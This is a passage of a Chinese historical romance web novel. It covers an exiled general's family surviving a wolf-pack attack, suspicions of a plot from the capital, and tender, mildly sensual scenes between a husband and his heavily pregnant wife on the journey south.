分明那野狼没有突破前方由苏声、苏琯煜、苏琯文和苏琯武四人带领的近百人的队伍,他身旁的苏琯璋声音也足够冷静理智,他们这支小队杀掉的野狼数量也足够可观。 但宣文晟就是觉着,便是他们内圈这些人,也随时都有被冲进来的野狼撕咬啃食的可能。 乱,太乱了。 一百余人的队伍,对上一两千只野狼,还是太过吃力了些。 纵是苏声这位身经百战的苏国公将军带队,苏琯煜和苏琯文、武双胞胎三位经验丰富的少将军在旁掠阵,他们的队伍也还是一次次被狼群冲散。 队伍一次次整合,再一次次承受着狼群的袭击。 血色漫天弥散,分不清是野狼的血,还是人的鲜血。 …… 还是有十余只野狼突破了包围圈,冲着他们这群没怎么受到波及的人而来。 离得太近,宣文晟甚至能看到那野狼口中还未咽下去的人类皮肉,不知道是属于外面哪个人的。 恐惧,只有深切的恐惧。 宣文晟什么也想不起来,只僵硬地站在原地,呆呆地和凶狠发狂的狼眼对视。 “噗”“刷刷”。 刀剑刺中、劈砍中野狼身躯的声音传到他耳中时,他才慢慢回过神来。 触目只有一片红色,耳中也只有狼的嗥叫和人的痛呼声,鼻腔中的血腥味浓郁到让人窒息,令他忍不住想呕吐。 宣文晟惨白着一张脸,死死掐着自己的掌心,拼命将那股涌到喉头的恶心感咽回腹中。 “不行,再这样下去,迟早要被这群畜生耗尽气力。”苏琯文抹了一把喷溅到脸上的狼血,冲苏声喊道:“伯父,掩护我,我去杀了那些狼王。” 苏声回身一刀砍断偷袭他的野狼喉管,敏捷地侧身避开喷洒出来的腥臭血液,不让自己的视线受干扰。 听闻苏琯文的请求,他高声回道:“煜小子一起去,小心些。” 苏琯煜很快跃出队伍,和苏琯文在狼群中轻盈地穿梭,很快又是一片血色飞溅。 宣文晟心都要跳出嗓子眼。 他们才两个人,竟敢就这么冲出狼群,再进到群体更大的一片狼群中,去杀狼王? 不过很快,他狂跳的心终于慢了些许。 他看到,苏琯煜和苏琯文两兄弟冲出狼群后,暗中不知先前掩藏在何处的十余人跳了出来,跟上他们,朝着狼王所在的狼群飞去。 他认出来了,其中有两三个是宣家的暗卫,也有一两个是林家的暗卫,其余的,他认不出来。 大抵是苏家的暗卫罢,这时候也不能再藏下去了。 而那十余人跳出来之后,很快,更多的人从隐匿之处跃出,加入绞杀野狼的队伍中。 有加入这边的,也有跟上那头的。 宣文晟不懂武功,但他能感觉到,有了这些人的加入,苏声他们顿时便开始游刃有余起来,再不见方才左右支绌的模样。 属于人的痛呼声也少了不少。 太阳升至他们头顶时,苏琯煜那头传来狼王悉数被斩杀的好消息。 没有了狼王的指引,狼群很快溃不成军。 前头拼杀的人身上已经全部被血浸透,分不清是狼的血、己方人的血还是自己的血。 挨过最凶猛的冲杀,人类终于开始反击,成片成片的野狼尸首倒下。 狼群终于开始怕了,疯狂的狼眼中恢复了几分清醒,四散溃逃。 存活的野狼,约莫还有三四百只。 他们竟杀了一千多只野狼。 宣文晟深吸口气,很快被空气中浓郁的血腥气呛到,咳得天昏地暗。 “多谢出手相助。”苏声抱拳。 他也认出了自家的暗卫,只不动声色地移开了目光。 第56章 第56章若你真生气,明日可以揍…… 一行人脱了险,再郑重道过谢之后,一帮先前隐在暗处直到方才才出来帮忙杀狼的人互相打量一番,几个纵跃,很快又消失在众人视线中。 一直没有听话闭眼的启哥儿盯着他们消失的方向,看了很久。 苏琯璋摸了摸他的头。 启哥儿抬起头,对他小叔叔露出一个很是勉强的笑。 “你今年本该和你父亲上一次战场,体验一番战争的残酷的。”苏琯璋低声和侄子说道,“方才的人狼大战,和真实的战场比起来,也差不了多少。” 当然,他说的只是苏家每一位已满八岁、不论男女的孩子所要亲眼感受的战场,是经过长辈评估过后觉着孩子可以承受的最大限度的那种战场。 通常这种情况会出现在两军胶着的时候,两方大军互相试探但不会真的激烈交战,死伤也在可控范围之内。 启哥儿若有所思,很快对着苏琯璋重重点头。 他脸上还有些未褪去的苍白,但眼睛却亮得惊人。小小的孩童,仿佛在瞬间就长大了许多, “我以后,也会成为和你们一样的人。”他尚且稚嫩的小脸上,露出了坚定。 许玉娘俯身抱了抱自己的长子,无声地表示着自己的支持。 苏玉启是这一辈的长孙,且他的弟弟妹妹们还小,他是日后要撑起整个苏国公府的人,得尽早学会成长。 所以,方才在发现他目不转睛地看完了血肉横飞的场面时,她也没有出声阻止,而是心疼却欣慰他有了这样的气魄与决心。 这一日,他们终究还是没能走出这片草原。 白日里的人狼大战,让他们损失了不少人马。 兵部陈阳的手下死了八个,重伤二十个,余下的几乎人人身上都带了轻伤。 禁军王虎的手下死了十三人,重伤二十五人,余下的身上也没有几个有完好的皮肉的。 这一下,两支队伍的对比就十分明显。 白日里的休整与收拾残局,让这些人十分疲惫;但精神上还残余着鏖战过后的兴奋,甚至头都开始隐隐作痛。 王虎翻身坐起,取出纸笔,一言不发地开始记录着。 往日和他分到一个帐篷里的弟兄非死即伤,如今这帐篷里空空荡荡的就只有他一人,他实在是睡不着。 且今日,他是那样明显地感受到上过战场的人,和没经历过战争的人的不同来。 且不说苏家人,只和兵部陈阳及他手下的那些人作比。 出发时,兵部来了三十五人,禁军来了五十人,昨晚和今日的死伤很快被他统计出来。 活下来的人数:兵部官兵余下二十五人,禁军侍卫余下二十四人。 其中虽然受了伤但四肢健全没缺胳膊少腿的人数:兵部官兵余下二十一人,禁军侍卫余下十九人。 王虎放下笔,盯着纸上的数字看了许久,直到帐篷外支起充作门铃的栏杆被人敲响。 来人是陈阳。 “死伤惨重……,”陈阳坐下时看到了王虎记录的那张纸,很快移开目光,“接下来我们的人会更加艰难,你有什么看法?” 他压低了声音。 王虎胸中还被白日里各种激荡复杂的情绪冲刷着,脑中也还是方才他记录的一组组对比的数据,一时没能理解陈阳指的是什么。 “什么看法?”他反问。 陈阳便知道他没明白自己说的话。 “我们能用的人不多了。” 陈阳索性也说得直白,“今日你也看到了苏家几位将军的实力。坦白说,即便我们的人全部都还活得好好的,也没受伤,加起来怕也不是他们的对手。” 他这话并非危言耸听。 他们从盛京城走到这如今的大草原,期间和苏家人朝夕相处、几乎是同吃同住了几个月,却是直到今日人狼大战时才看清他们的实力。 陈阳知道苏家的将军们在漠北的名声,听说他们战无不克,带着苏家军所向披靡。 但他没料到,他们之间的差距能到隔着一道天堑的程度。 “我们压制不住他们了。”陈阳叹息。 他双手分别按着两侧在隐隐作痛的颞颥,那是今日激战过后留下的后遗症。“今日暗处的眼睛大部分都现身了,但我们也分不清他们都是谁的人。” 势力太杂且太多了,何况那些人见他们脱了险之后走得那叫干脆利落,一点都不耽搁,他什么也没能瞧出来。 不过,他倒是认为,最先出手相助的十余人里,定然有宣家和林家的人。 而剩下的那些人…… 虽然他们今日也有出手相助,但他觉着,若非是宣家和林家的侍卫率先出手,那些人真有可能看着他们全都死在这里而全程不露面。 “野狼群来得太蹊跷。”陈阳和王虎分析,“今后路上也可能不会太平,我们也得多留心些。” 他寥寥几句话,说的都不是同一件事,王虎一时脑子都有点发懵。 他深吸一口气,强迫自己静下心来,将脑子里的 激荡情绪全都清空,反应了好一会儿,才将陈阳过于跳跃的话全部理解透彻。 “你是担心,他们会再次朝他们下手?”他直截了当地问。 两个“他们”,分别指不同的人,他相信陈阳能懂。毕竟,这才是陈阳方才最后那两句话的潜在之意。 陈阳说的是太蹊跷,王虎则是直接给这件事定了性。 这也很能体现出兵部与禁军处事风格的不同来。 陈阳抬眼和他对视。 …… 末了,陈阳终于提起他来这一趟最想说的话来,“今日这事定会传到陛下耳中,你我须得早作准备。” 王虎才松开的眉眼顿时便沉了下去。 夜渐深,帐篷里的烛火渐次熄灭,仅留了帐篷外八个方位的火把,和守夜人面前的火堆。 今夜的虫鸣蛙叫依旧热闹,守夜人面前的火堆偶尔也发出哔剥声,好歹让人不至于深陷在这广袤草原上,迷失自我。 守夜人换班间隙,有两条人影飞快钻进宣文晟的帐篷中,没引起任何人的注意。 “当真是有人故意引那狼群袭击我们的?”宣文晟没有出声,只嘴唇动着。 暗卫颔首,将密密麻麻写满了字迹的纸张递上。 宣文晟接过,很快看完,便顺手塞进怀里。 “我知道了。”他无声地说着。 人影又很快掠出他的帐篷。 不多时,他这座帐篷的门帘又是一动。 宣文晟警惕地抄起防身的匕首,掀开门帘一角,见是苏琯煜,便侧过身让他进来。 “方才有人来过?”苏琯煜小声问。 宣文晟讶异,“你知道?” 这一路跟随着他们的宣家和林家暗卫都是万里挑一的高手,内力轻功都是上乘,他以为方才的动静无人知晓来着。 他们甚至没有出声交谈。 而且,他这帐篷也是经过特殊处理的,烛火照映都无法在上面留下任何人与物的身形,在外面理应看不出里头有多出来的人才是。 苏琯煜只笑笑,“我父亲和几位弟弟也都知道了,只怕引起守夜人的注意,所以就只我一人避开他们到了这里来。” 宣文晟:“……” 居然惊动了这么多人?亏他还以为今夜来人就他一人知晓,还想明日拿出方才收到的消息“吓”他们一跳。 不过他只略想了一下,便明白了,“看来你们的功夫还在他们之上。” 一般人这时候应当会说“有机会想见识一二”,但宣文晟不是一般人,他只希望,不会有他见识到的那一天。 宣槿妤天生直觉灵敏,而他不是。 他是常居安思危,若有万分之一的风险,他第一时间的反应便是去规避掉,而不是迎头直上。 当年他考完举人之后,不顾未明真相的族人阻拦,毅然投身于商海至今,便是因为他这避害的本能。 当然,护送宣槿妤南下这件事不在这个范围内。 “你来看看这个。”宣文晟取出方才塞进怀里的纸张,递给苏琯煜。 这张纸他本是想在明日找个不引人注目的时机交给妹夫苏琯璋的,如今先给他大哥看了,效果大抵上也差不多吧? 苏琯煜一目十行,很快将那纸张递还给宣文晟。 “和小弟想的一样,盛京城里有人坐不住了。”他说。 宣文晟已经将纸张折叠好,正准备塞进怀里,闻言动作一顿,“他猜到了?” 苏琯煜颔首,“昨夜狼袭之后他便想到了。” 宣文晟继续将那纸张往怀里塞,哼了一声。 昨夜就猜到了竟也不和他这个三舅兄说,今天整整一日的时间,他和自己只字未提! 哼!亏他还常在妹妹面前给他说好话,让她少折腾他一点。 他就该放任妹妹折磨他的。 苏琯煜笑,“宣三哥别气,小弟这不是没找到机会和你说?这便让我来了。” 今晨再遭狼袭,场面过于危险混乱,不是说话的好时机。 而过后他们又忙着收拾残局,苏琯璋更是一直在那些伤重的伤员身边守着,以免他们伤势过重再死上一两个,便更没有时间和宣文晟提及这事。 而等到晚间,那些伤员的伤势终于稳定下来,宣槿妤又起了低热——她到底是被吓着了。 怀孕的妇人轻易不能用药,折腾了许久,宣槿妤才退了热。 宣文晟也是见妹妹没事之后才放心回到帐篷里来的。 想了想,苏琯煜补充道:“若你真生气,明日可以揍他一顿。” 反正他小弟抗揍,且这宣家三哥一点武功都不会,拳头揍在苏琯璋身上,就跟挠痒痒差不多。 苏琯煜盘算着。 第57章 第57章别生气了,好么? 宣文晟一言难尽地看着他,“他是我妹夫不错,也是你亲弟弟吧?” 有这么坑自己胞弟的么? “这不是宣三哥你气他没及时将猜测告诉你么?”苏琯煜只淡笑着回应。 其实,若非是要看顾着熟睡的宣槿妤,今晚这一趟,本该是由苏琯璋来的。 不过嘛,这话由他这个亲兄长来说,有替他辩解的嫌疑。他就不替自己弟弟开脱了,免得真得罪亲家舅兄。 好在宣文晟也很快想通了,心里的那一丝不爽也散去,言归正传,“你们有什么想法?” 苏家的兵权还掌握在漠北的将领手中,如今战事胶着已经有好几个月,想来龙椅上那位也急了。 只是没料到那位还没动手,倒是旁的人先坐不住了。 不过也情有可原。 眼见着苏家已经消失在天下人的视线中,再不抓紧时间将他们灭掉,等到他们重新出现在百姓眼中,岂非是提醒他们,苏家昔日的战功? “兵部那岳丰尚书倒是会揣度人心。”宣文晟又是一声冷哼。 好几个月了,苏家一行人日日行走在人迹罕至的地方,早就远离了百姓们的视野。 这一安排,不仅龙椅上那位满意,其余有心想将苏家彻底踩进泥里好让自家显露出来的世家,也挺满意的罢? “说起来,这位岳尚书还是你们苏家的旧部。”宣文晟挖苦苏琯煜。 苏琯煜只颔首,脸上仍维持着方才的淡笑。 “笑笑笑,你这笑面虎,收起你的笑。”宣文晟受不了了,这人这么笑,脸真的不会僵么? 和苏家人相处久了,他也算是摸透了他们的性子。 这位苏国公府世子在漠北百姓口中有个美名,叫什么“玉面将军”,但在他看来,不过是一只狡猾的狐狸,还是爱笑的那种。 谁也不知道,他整日里笑眯眯的,私下里会不会早就记了得罪了他的人一笔。 相比起来,他还是更适应他妹夫苏琯璋那样从头到尾一张冷脸的人。 唉,他可真艰难,怎么遇上的都是这样的奇人? 此刻他深深地和宣槿妤共起情来。 翌日,宣文晟找了机会和苏琯璋单独相处了一会儿。 也不知道二人谈了什么,等他们再出现在人前时,苏琯璋依旧是没什么表情的样子;宣文晟则先是一脸的恍惚,而后又是一副如释重负的模样。好似还下定了什么决心。 看得宣槿妤满心的好奇。 只她才退了热,苏琯璋又说她现下再经不起一次惊吓,故而任她再如何撒娇耍赖威胁,二人都死活不肯将谈话内容告诉她。 宣槿妤气鼓鼓地一口咬在苏琯璋那张怎么也撬不开的嘴上,磨了磨牙。 苏琯璋脸上露出了一点笑意——他近来笑的次数,都比他往常一年笑的次数加起来还多了,整个人瞧着便十分鲜活起来。 “日后有机会了我告诉你。”他说着便含住她想要离开的唇,声音开始变得模糊起来,“别生气了,好么?” 盛京城皇宫,即正殿。 “暗中的人果真出手相助了?”新帝盛誉捏着手中的密信,声音有些发冷。 跪在地上的人比了个手势,又点了点头。 “可查出来都是谁家派的人出手的?”盛誉又问,强压着怒气。 可都是他的好臣子,可曾将他这个帝王放在眼里? 那人摆了摆手,同时摇了摇头。 废物。 盛誉手中的玉扳指一下一下扣在案桌上,这是他脾性将要压制不住的征兆,“谁家动的手脚,这总能查到罢?” 那人听着清脆却沉闷的叩击声,额头有冷汗沁出,幸而这个问题他可以给出肯定的答案。 “下去。”盛誉道。 他盯着那人起身离去的身影,眉眼乖戾。 等到即正殿只剩下他一人,伴随着瓷器摔碎的清脆声响,还有他微不可察的声音,“ 是你们逼我的。是时候动手了。” 他像是自言自语,但很快有人如鬼魅一般从殿中掠出,悄无声息地融入夜色中。 狼袭之事过后三日,从灵峰山脚下庄子外面就开始一直远远跟在他们身后的商队追了过来。 他们十余日前跟着这批人走出了连绵的山脉,在要进入这片大草原时改道离开了。 商队离开不为别的,只为到附近的城镇采买补给,好维持众人的生活所需。如米油盐面茶调料等物,还有从京中寄来的衣物鞋袜等东西,都是他们送来的。 只这群人先前走得实在是太偏了,他们快马加鞭,驾着马车走了五六日才到最近的府城,将所需的东西补齐。 又等了一日,等到了宣府送信和物资的人,才启程追在清风他们留下的记号后面跟了过来。 这不,才追上他们,就听说这群人在狼口逃生的经过,惊出一身冷汗。 “盛京城里有没有消息传过来?”宣文晟问,打断了商队队长喋喋不休的后怕与关心。 “有的。”那人忙取出贴身藏着的密信,恭敬地双手递交给他。 打发走了商队的人,宣文晟便带着密信,去找妹妹宣槿妤去了。 宣槿妤看了信,先是沉默了好一会儿,又掉了片刻眼泪,接着便迫不及待地提笔回信。 她想娘亲和爹爹、外祖父、大哥哥、三嫂嫂……他们了,得知他们的近况,她也得将自己的近况回信告诉他们,以免他们牵肠挂肚。 苏琯璋沉默地站在她身旁替她磨着墨,眸色复杂。 而后,他去看她宽大裙衫也掩藏不住的大肚子,和肚皮上不断鼓起的小包——那是腹中胎儿因兴奋而在伸展着小手小脚。 月份渐大,她腹中的孩子越发活泼,除了喜欢在娘胎里踢手踢脚,偶尔还会来个大转身——这时肚皮翻转出的形状就让人忍不住心惊,担心宣槿妤会不会感到痛和难受。 尽管宣槿妤总是含着笑意捧着她的肚子,说她不痛。 她确实跟着他在吃苦。苏琯璋心想。 虽早已知晓,但他仍像是被这个事实重重一击,心头沉重得像是压了块沉甸甸的大石头,让人难以呼吸。 …… 跨过大草原,他们又过上了进山钻林的日子。 也偶尔有那么几次,陈阳会带着他们往滩涂地带走,这时他们就能吃上美味的海鲜、河鲜或湖鲜。 尤其鲜活的海鲜,这样的食材,放在盛京城中,便是再显赫的人家一年里也不过能吃上那么一两次。 三日前到了这片海域时,可让一群生在内陆,甚少尝到或者根本没见过新鲜海鲜的人过足了嘴瘾。 这片海名为“定海”,似乎和自古流传下来的某个仙神传说有关。 也不知道陈阳手中的地图是如何制得的,也不知道他是如何带路的。 也是神奇,这一带照理说应当不缺渔民,但他们在这儿走了三日,竟连一个人影、一条木筏都见不到,遑论大大小小的船只了。 “你们苏家旧部,这兵部尚书岳丰大人真是个鬼才。”这日,宣文晟忍不住又将那日挖苦过苏琯煜的话对着苏琯璋说了一遍。 苏琯璋和他兄长苏琯煜不同,他倒是没有笑,只颔首回道:“他也是真有本事。” 身处盛京城,却能将整个大盛的地图掌握于心。 陈阳凭着他手中的羊皮地图,从带队出了盛京城开始,除了灵峰山附近宣文晟找上他们的那个意外,就真的没有让他们和任何普通百姓有过接触。 这份本事,不是谁都能有的,不愧是朝堂变更也能稳坐兵部尚书之位的人。 “想必很合那位的心意。”宣文晟臭着一张脸,说道。 海鲜的味道很好,清蒸、烧制、烤制、煮汤都是难得的美味。 他们还在退了潮的海滩上捡到不少像是头发一样的植物,听走南闯北见识广博的宣文晟说那叫“发菜”,拿来煮粥、凉拌、煮汤,也别有一番风味。 但海边的味道却有些不大好闻,吹过来的海风都带着一股海水的咸腥气,偶尔会碰到搁浅在岸上的死鱼死虾,被太阳一晒,那味道简直能将人送走。 便是宣槿妤早已过了孕吐的月份,第一回闻见时也忍不住大吐了一回,靠在苏琯璋身上,满眼的泪花儿,瞧着可怜得很。 于是,一行人再启程时,宣文晟带来的侍卫就自觉跟在探路的斥候们身后。 他们并没有探路的本领,也没有要偷学的意思。只是为了清理路上可能遇见的臭鱼烂虾,不让这已经十分不好闻的海腥气中再添加什么足以熏吐人的气味。 他们自己都受不了那些臭味,何况腹中还有一位闹腾小主子的小姐。便是三公子没有吩咐,他们也会去做的。 等他们离开这片定海,时间已经来到九月份,已经是深秋了。 宣槿妤肚子里的孩子已经满八个月了,苏琯璋把完脉后,和她说是个很健康的孩子。 这让身为母亲的宣槿妤十分欣慰。 她这几个月过得并不十分好,路上苏琯璋再体贴,她吃的苦头也是实实在在的。 且前月遭到了狼袭那样的惊吓,她是真的被吓着了,那晚低热过后,连着几日都提不起精神。 直到后来他们远远将那片大草原甩在身后,她才慢慢好起来;却很快又被腥臭的海风熏了好几日,整个人也蔫了下去。 等到他们爬过高高的山峰,钻进蓊郁葱绿的森林中,呼吸着沁人心脾的秋风凉意,她才彻底好了起来,也恢复了精神。 算算路程,他们还有一个月左右就要到达淮招县,这是最初苏琯璋定下南下流放计划时就为宣槿妤选定的生产之地。 他们将在那里停留待产,过年,再重新启程。 至于是南下去往新帝要求的广虚府,还是去别的地方,谁知道呢? 时间还早着。 第58章 第58章马车旖旎 白隼玉爪腿骨折也还没好,这段时日颇有灵性地陪在她身侧,任由她当宠物似的养着,随她抚摸,头顶的毛羽都顺滑不少。 说起来,这海东青也跟着他们两个月余了,伤势也好得七七八八。每日里吃着他们投喂的肉食,身形都胖了几分,捧在手里沉甸甸的。 “它胖了这么多,”宣槿妤含笑地戳了戳白隼圆滚滚的肚子,“也不知道伤好之后还能不能飞起来。” 说着她想起白隼刚开始跟着他们的时候,“那时候也不知道它被雷劈之前吃了什么,竟大半个月都不用进食。” “哪里像现在。”每日里少它一顿肉都不行,凶得很,还将慕哥儿吓哭过一回。 苏琯璋将剥好的橙子喂到她唇边,宣槿妤十分自然地张嘴吃了。 “我还要那个葡萄。”她指挥道。 葡萄好吃,但是剥皮会沾手,她不想自己动手。 苏琯璋却没有如她的意,只又给她喂了一片橙子,“葡萄你今日已经吃了不少,明日再吃罢!” 宣槿妤松开玉爪,任它单脚一蹦一蹦地挪到它喜欢的角落,她则转身朝向苏琯璋。 “一颗。”她慢吞吞地伸出一根手指,就是方才戳了白隼的那根纤指,上边还沾了凶禽的气息,她的声音却娇气得很。 “我就再吃一颗。”她眼巴巴地和苏琯璋对视着。 还有一个多月两个月她就要生了,腿脚浮肿,一张明艳动人的小脸也圆润了许多,给她增添了几分娇憨。 而她性子比往日更要娇气许多,尤其越发依赖苏琯璋,撒娇不成便要开始胡搅蛮缠,总之定要达到她的目的不可。 “就最后一颗。”宣槿妤眨了眨眼,撅起了嘴。 一刻钟之前,她就是这样和他撒娇的。 苏琯璋方才抵挡不住妻子的娇蛮不讲理,如今也是抵挡不住的。 他叹了口气,又剥了一颗葡萄,喂到她嘴里。 宣槿妤嚼了嚼甜滋滋的葡萄果肉,心满意足地咽了下去。 苏琯璋将放了各色果子的柜子锁好,打湿帕子给宣槿妤擦起手来,将上边的白隼气息一一抹去。 他做惯了这些事,游刃有余的同时也显得清贵无双,全然不像是在做替有孕的妻子擦手这样的小事。 宣槿妤看着他,心里“砰砰”跳了起来,原本不满他收起果子锁了柜子的情绪,也很快消散无踪。 近来不知怎么回事,她对着他这样看惯了的清隽的脸,会生出些让人面红心跳的想法来。 不仅是性子娇了许多,她就连身子也娇了不少。二人之间十分平常的搂搂抱抱,竟也会让她身子发了软。 这些反应她不好意思和苏琯璋说,更不好意思去问婆母或嫂嫂们,只埋在心里,既羞怯又暗自生恼。 苏琯璋习惯地用内力烘干帕子收回怀中,摸了摸宣槿妤有些发红的脸颊,亲了亲她的唇。 “要不要睡一会儿?”他问。 即便宣槿妤不说,作为和她日日亲密的枕边人,苏琯璋哪里察觉不到她身子的变化? 她身子的这些变化,像极了二人昔日频繁欢好过后的模样,身子敏感得不行;他一碰,便能轻易挑起她的反应。 苏琯璋深吸口气,摈弃自己脑中不合时宜的念头。 她已经是孕晚期,快要生了,他也是才知道原来怀了孕的妇人也会有这种需求。这都是医书上没有记载,宣府府医和经验丰富的妇人们没有提到的。 他不知道该如何让她好受些,只知道不能再碰她。 宣槿妤朝他伸出双手,苏琯璋将她揽入怀中,“可是又难受了?” 他竟知道? 宣槿妤惊讶地瞪圆了眼睛,加上她那张明显比以前丰润许多的脸庞,显得整个人越发圆了,可爱得让他险些控制不住自己。 惊讶过后,宣槿妤便有些难为情。 以往二人在一起时,都是这个男人主动,她甚少有主动撩拨他的时候。 没料到,孩子月份这般大了,她竟会出现这样让人害羞的变化。 “别多想。”苏琯璋近来已经很能明白她在想些什么,亲了亲她的额头,“这只是正常的孕期反应。”他安慰道。 宣槿妤双手被他从他背后反扣住,双双十指交缠着,亲密无间。 “我来想办法让你别那么难受。”苏琯璋压低了声音,头低了下来。 他有办法? 宣槿妤抬头看他,正好方便了他的动作,她很快沉浸在他温柔缠绵的吻中。 暧昧旖旎的气息弥散在马车里。 车厢门牢牢关着,车窗也仅开了一条缝。 有秋风裹挟着秋日丰收的果实香气溜进来,流连一会儿,见没引起这对缠绵已久的夫妻的注意,很快又滑着车窗的缝隙溜了出去。 不知过了多久,苏琯璋慢慢松开宣槿妤。 他凝视着她嫣红带着媚意的小脸,又亲了亲她微微红肿的唇瓣,抚摸着她的背,替她平复着呼吸。 等她呼吸平顺下来,他目光又在她潋滟还未聚焦的双眸、和掩不住媚态风情的眉目中流连了一会儿,才伸手去拿柜子边上的水囊。 煮滚后倒入水囊里的水如今温度正适合,带着热气却不会让人觉得烫。 苏琯璋喂宣槿妤喝了几口水。 “好些了吗?”他用手擦拭着她唇边因为喝得急而不小心沾到的水珠。 许是才亲密过,宣槿妤莫名觉得他的动作里带上了几分勾人的意味。 她又喝了几口水,将水囊推开,“好多了。”她小声答道。 掩藏在裙子下的双腿再没有任何贴身下裳的遮挡,其间还残存着些许湿润,有些黏腻。她不自在地想要将它们合拢,却被他的双腿阻拦。 “等我替你擦拭干净。”苏琯璋声音哑了几分,低低地道。他双腿还在牢牢卡住她,既是在替她挡风也是在桎梏她的动作。 宣槿妤觉得脸上又烫了起来。 苏琯璋又取过一个干净的水囊,就要将温热的水倒在帕子上。 宣槿妤急声道:“别拿这帕子。”虽然急切,但她也没忘记压低声音,生怕被此时在前室驱赶马车的侍卫听见。 苏琯璋身上就只贴身藏了一块帕子,就是三年前宣槿妤送他的那块。 过去三年,他只将它贴身藏着,只偶尔出公差或宣槿妤生气回娘家了他才会拿出来看看,从来没用过。 只被流放之后,他身上就只有它料子足够柔软,不会伤到宣槿妤细嫩的肌肤。 而这帕子这几个月以来已经被他用了无数次,若非料子极佳、绣它的人也用了十分的心思,早就开始磨损了,哪里还能像如今这般柔软依旧。 苏琯璋动作一顿。 他再没有多余的帕子了。 宣槿妤忍着羞意将自己的帕子递给他,“用这块。” 她送他的帕子,常被他用来替她擦脸擦手,偶尔他顺手的时候也给他自己擦。 但如今要用来擦那样的地方,哪里能用同一块? 苏琯璋便将方才的帕子重新收好,将水倒在宣槿妤自己的帕子上,拧得半干,才去擦宣槿妤双腿。 宣槿妤觉得自己脸上要冒烟了。 连月来都是他替自己清洗擦干身子和换衣裳,但她都坦荡得很,远没有眼下这般觉得羞于见他。 她还是被方才的事和身子残存的些许余韵影响了。 苏琯璋伸手探进她散落在他膝上的襦裙里,不知碰到了哪里,宣槿妤险些忍不住叫出声来,紧紧咬住自己的下唇。 “别咬。”苏琯璋嗓子低哑得不像话,倾身吻她,手中的动作未停。 宣槿妤紧闭着眼,不敢看他,只呼吸明显加快了许多。 等到他替自己换了一身衣裳,推开车窗,让清凉的秋风吹进车厢,散去满室的旖旎之后,她才慢慢松了一口气。 她将头埋在他怀里,听着他和自己一般都有些急促的心跳声,慢慢散着脸上的热度。 她好像有点不顾他的死活了。宣槿妤想。 他身上的体温升高得如此明显,二人相贴的地方他的反应也如此强烈,她却仍旧紧紧贴着他。 但是他也不曾放开紧搂着她肩膀的那双手。 他能替她解决她的需求,却控制不住自己的本能反应。 苏琯璋低头在宣槿妤发上亲了亲,闭上眼睛,任由那漫山遍野的野果香气扑了他满面。 宣槿妤捧着肚子,慢吞吞地走在平坦的山路上。 她身形纤细,眼下从背面也看不出是有孕的妇人。只若从正面去看,那高高隆起的肚子就有些吓人,像是揣了一只圆滚滚的大西瓜。 除了苏家人和一个宣文晟,旁的人都不大敢靠近她了。 生怕一不小心碰着她,就会将她肚子摔破,露出里边红通通的瓜瓤来。 越想越吓人。 他们今夜会在这个山坳里过夜。 未免受到凉气,他们还找了空地搭了帐篷。 周遭的野物已经被驱赶了,四周也撒上了驱虫蛇的药粉——这一路的草药着实丰富,苏琯璋每日里偶尔捡上那么几株,也制得了不少药粉和药丸子。 如今他身上,贴身收着的药瓶子还不少。 也不知道他是如何放的,宣槿妤日日和他亲密相拥或依偎,也没有察觉到有被硌着。 只每次露宿荒野时都能见他从衣裳里掏出各种药瓶子来,沿着他们住的帐篷周围的缝隙撒上一圈药粉——这是防止外面的药粉不奏效而溜进来的“漏网之鱼”的。 瞧着也有趣极了。 第59章 第59章葡萄不能吃,那吃我也行…… 深秋时节,山里的果树果实累累。置身于这山坳里,仿佛四面八方都有香甜的果香传来,着实诱人。 “光吃果子都能吃饱了。”陈阳爬上高处,望着那压弯了枝条的各色果子,忍不住 感叹。 这几日,真有人忍不住只吃果子饱腹,一口饭一口野味都没吃,惹得众人哭笑不得。 “还是葡萄好吃。”宣槿妤站在一棵梨树下,对苏琯璋这样说。 苏琯璋看着她,眼里含着笑意,说出的话却十分气人,“再好吃,今日的葡萄份额也没有了。” 宣槿妤撅着嘴,有些不乐意。 苏琯璋看了看四周,见没有人注意他们,俯身在她脸上飞快亲了一口,“今日真的不能再吃了。” 宣槿妤用头作锤,“嘭嘭”地捶着他的胸膛。 自打那日山洞那样让她尴尬生气的一幕过后,她便不大喜欢咬他了,爱上了这样头捶他的动作。 她头不重,反正也不会弄疼他,她还挺喜欢听这样“嘭嘭嘭”的撞击声的。 “当心捶多了妹夫内伤。”宣文晟有一日这样对宣槿妤说道,担心她真的将自己夫君搞出个内伤来,那样他就没办法再继续任劳任怨妥贴地照顾她了。 宣槿妤闻言消停了许久,直到今日又忍不住开始捶他。 “槿妤,真不行。”苏琯璋抱住她的头抬起来,他则微微俯身,让自己的视线和她对视,“梨子也挺甜的,吃一口,嗯?” 他说着就要伸手去摘梨子,但被宣槿妤拦住了。 她的口腹之欲没能得到满足,虽然抓住了他的手,但依旧不乐意地撅着嘴,不想搭理他。 周围人又太多了,她不好胡搅蛮缠,免得旁人以为她宣家姑娘不讲道理,且馋嘴贪吃。 宣槿妤正想着要如何让苏琯璋松口,便被他打横抱了起来,走到无人的角落。 “怎么了?”她环顾四周,没看到旁人的身影,自己的视线也被层层叶片所阻挡。 苏琯璋将她小心地放在地上,伸手搂住她的肩,侧身揽住她——如今二人不能面对面抱着了,隔着一个大肚子,他只能这样抱她。 “葡萄不能吃,”他说着俯身吻她,轻轻磨着她柔软的唇瓣,“那吃我也行。” 宣槿妤瞪圆了眼睛,难以置信地看他,她都听到了什么? 她微微张着唇,正想问他是不是受了什么刺激,便被他趁虚而入,撬开了唇舌。 回去的路上,宣槿妤很安静,被苏琯璋牵着,仍在想着他方才惊人的话语。 这个男人果真变了许多,油嘴滑舌到,她都有些不大敢认他了。 是我折腾得过分了么? 临睡前,宣槿妤难得反思。 但翌日,她又将临睡时暗自定下的少折腾他的计划抛之脑后。 果子的香气伴随他们走了一路。 白隼此前好得七七八八的伤势渐渐开始有了很明显的好转,它开始振翅飞翔,只是飞得还不是很高。 入冬的第一个月,白隼玉爪的伤势已然全好,一日它冲上蓝天翱翔盘旋了几圈,就再也没回来。 宣槿妤盼了好几日,仍未等到它的身影,便知道它是寻到了它的自由。 到底还是惆怅的。 但这时,她的身子已经快要满九个月了,最早这个月,最晚下个月,她就要生了。 陈阳王虎他们此前只是不敢靠近她,如今连走路时都不敢从她身旁经过,只恨不得离她越远越好。 其余官兵和禁军也是如此。 宣槿妤的肚子也是他们这些人一天天看着大起来的,只是到了这个时候,他们也还是会惊叹。 身形纤细窈窕的姑娘,肚皮这样被肚子里的孩子撑得高高鼓起,总让人担心会不会将她肚皮撑破。 